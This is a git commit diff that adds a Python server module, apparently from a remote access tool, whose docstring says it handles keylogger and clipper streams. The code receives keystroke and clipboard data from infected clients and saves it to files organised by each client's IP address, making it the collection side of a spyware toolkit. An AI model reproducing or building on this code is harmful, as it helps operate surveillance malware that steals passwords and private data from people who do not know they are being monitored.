diff options
author | AL-LCL <alvin@alvinhavel.com> | 2023-05-19 10:39:49 +0200 |
---|---|---|
committer | AL-LCL <alvin@alvinhavel.com> | 2023-05-19 10:39:49 +0200 |
commit | 58ebd3bc0f00c532e97e9a5571471ffab87934ba (patch) | |
tree | 6e099e59af07206df6edf2b0c585d0c5a466d4bd /server/modules/logger.py |
Diffstat (limited to 'server/modules/logger.py')
-rw-r--r-- | server/modules/logger.py | 56 |
1 files changed, 56 insertions, 0 deletions
diff --git a/server/modules/logger.py b/server/modules/logger.py new file mode 100644 index 0000000..4adaf79 --- /dev/null +++ b/server/modules/logger.py @@ -0,0 +1,56 @@ +''' + Handles the keylogger & clipper stream module + connections. Simply writes to files logging + the data sent from the client in intervals. + + Verified: 2021 February 7 + * Follows PEP8 + * Tested Platforms + * Windows 10 +''' + +from server.state import ServerStatic, Dynamic +from server.modules.module import Module +from server.helper import ServerHelper +from shared.helper import Helper +from shared.error import Error +from shared.data import Data + +import os + + +class Logger(Module): + + def __init__(self, logger_type, conn, token, connect_ip): + super().__init__(conn, token, connect_ip) + self.__module = logger_type.capitalize() + self.__logger_type = logger_type + + def __str__(self): + return self.__module + + @Error.quiet_thread + def __recv(self): + try: + with self.conn as sock: + dirpath = os.path.join(ServerStatic.ARCHIVE_DIR, + self.safe_connect_ip, + self.__logger_type) + filepath = os.path.join( + dirpath, ServerHelper.filename('txt')) + + while True: + data = Data.recv(sock, True) + + if data: + if not os.path.isdir(dirpath): + os.makedirs(dirpath, exist_ok=True) + + Helper.write_file(filepath, data) + + Data.send(sock) + finally: + del Dynamic.MODULES[self.token] + + def live(self, *args): + Helper.thread(self.__recv, *args) |